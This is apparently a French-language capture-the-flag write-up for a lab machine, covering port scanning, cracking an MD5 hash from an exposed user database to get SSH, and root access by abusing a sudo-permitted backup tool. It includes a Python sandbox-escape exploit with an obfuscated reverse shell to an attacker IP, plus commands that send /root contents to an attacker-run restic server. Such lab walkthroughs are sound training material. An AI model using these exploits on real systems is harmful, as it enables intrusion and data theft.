Skip to the content.

Enumeration

On fait une petite énumération mais on ne trouve que ça au départ:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Gunicorn 20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On regarde un peu sur le port 8000, on tombe sur un site web qui nous propose d’écrire du code, sous ECMA 5.1, de l’exécuter et de le sauvegarder. J’ai donc créé un compte et essayé de chercher un exploit.

En parallèle, l’énumération gobuster ne donne rien du tout, on ne trouve que les pages de base, celles que l’on peut trouver en cherchant manuellement sur le site.

En plus de ça, on trouve un fichier zip sur le site, nous donnant le code du site, ce qui ne nous aide pas à grand chose pour le moment excepté pour savoir où trouver les fichiers intéressants.

Comme on a de quoi exécuter du code, j’ai cherché pendant un looooong moment comment exécuter un RCE en javascript. J’ai donc trouvé un payload sur revshells.com, qui était en fait un payload en PHP ou Java (je ne sais plus), un programme qui devait en générer un mais qui en fait attendait des connexions distantes comme un listener, et aucune doc. Après un peu de recherches et de temps perdu je me suis rappelé que le JS était exécuté côté client. Il doit y avoir quelques instances de code où le JS est exécuté côté machine (Node.js par exemple), cela vaudrait la peine de rechercher plus tard #TODO .

On est donc de retour aux scans, comme on ne trouve rien. On repart avec un scan des ports UDP, mais cela ne donne rien. Comme le site est sur le port 8000 et pas 80, cela vaut la peine de chercher un peu plus. On lance donc une commande de plus pour fouiller extensivement les ports TCP

sudo nmap -sV -sS $box -o nmap.scan

et on obtient une réponse intéressante:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Gunicorn 20.0.4
9009/tcp open  http    SimpleHTTPServer 0.6 (Python 3.8.10)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ce n’est pas le port 80 mais on avance.

Foothold

On se connecte sur le port 9009 et on trouve un unique fichier users.db. On le télécharge et l’ouvre avec sqlite3 et BINGO, on a des identifiants:

1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

Crackstation identifie le premier comme un hash md5, correspondant au mot de passe sweetangelbabylove.

marco:sweetangelbabylove

On essaye de le cracker avec hashcat:

hashcat -a 0 -m 0 hash.txt /usr/share/wordlists/rockyou.txt  

Malheureusement cela ne donne rien. On y reviendra si jamais on en a vraiment besoin.

On tente de se connecter en ssh (qu’on avait vu dans les scans, même si il y a toujours ssh) avec les identifiants de marco et BINGO, on a un accès à la machine. Et juste comme ça, on a notre flag user.

Alternative foothold

Il existe aussi sur cette box une rce, que l’on peut utiliser avec le code suivant.

import requests  
import json  
  
url = 'http://codetwo.htb:8000/run_code'  
  
js_code = """  
let cmd = "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTYuNTYvNDQ0NCAwPiYxKSAm|base64 -d|bash";  
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;  
let obj = a(a(a,"__class__"), "__base__");  
function findpopen(o) {  
    let result;    for(let i in o.__subclasses__()) {        let item = o.__subclasses__()[i];        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {            return item;        }        if(item.__name__ != "type" && (result = findpopen(item))) {            return result;        }    }}  
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();  
console.log(result);  
result;  
"""  
  
payload = {"code": js_code}  
  
headers = {"Content-Type": "application/json"}  
  
r = requests.post(url, data=json.dumps(payload), headers=headers)  
print(r.text)

LOL / Lateral movement

Aucun mouvement latéral à faire, on se concentre directement sur la privilege escalation, merci marco.

Privilege Escalation

#npbackup

On commence une petite énumération avec

ls

On trouve un fichier npbackup.conf

On n’a pas accès au dossier backups en revanche, il appartient à root.

On continue avec

sudo -l

Et on trouve

(ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

On cat le contenu de ce fichier pour comprendre ce qu’il fait:

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

On teste un peu la commande avec sudo et on voit comment la sauvegarde est faite. La commande à utiliser est

sudo /usr/local/bin/npbackup-cli -c npbackup.conf -b

Donc on copie la configuration du fichier npbackup.conf

cp npbackup.conf testbackup.conf

Puis on modifie la config de sorte à ce qu’elle copie /root et non pas /home/app/app. Ensuite, étant donné qu’on a l’uri et le mot de passe, on va essayer d’accéder au repo. On lit sur la doc que les repos npbackup peuvent être gérés par restic.

On lit dans la doc de npbackup que les informations importantes comme le uri de repo et le mote de passe sont encryptés, il nous faut donc les décrypter avant d’y accéder.

On lance notre serveur restic

./rest-server --path /tmp/restictemp --listen :8888 --no-auth

Ensuite on copie le fichier npbackup.conf dans test.conf et on met notre repo rest:http://<yourip>:8888/cpt et notre mot de passe pass dans la config, on lance la backup

sudo /usr/local/bin/npbackup-cli -c test.conf -b

On a donc notre repo restic qui tourne sur l’adresse

rest:http://10.10.14.239:8888/cpt

On va donc exécuter une backup sur le dossier /root. Pour cela, on se fait une config test.conf dans laquelle on met une version modifiée de npbackup.conf:

conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      rest:http://10.10.14.239:8888/cpt
    repo_group: default_group
    backup_opts:
      paths:
      - /root
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        pass
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: []
      compression: auto
      use_fs_snapshot: false
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
        pass
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: []
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}

Ensuite, on fait la backup

sudo /usr/local/bin/npbackup-cli -c test.conf -bf

Puis on vérifie que la backup a bien été faite avec

restic -r rest:http://10.10.14.239:8888/cpt snapshots

Une fois que l’on a bien vu que la backup était faite, on retourne sur la machine attacker, sur laquelle on entre la commande

restic -r rest:http://10.10.14.239:8888/cpt snapshots

pour obtenir le numéro de la backup. On le copie puis on restitue la backup dans notre machine attacker avec

restic -r /tmp/restictemp/cpt restore <snapshot_id> --target ./restore

et on peut enfin lire le fichier root.txt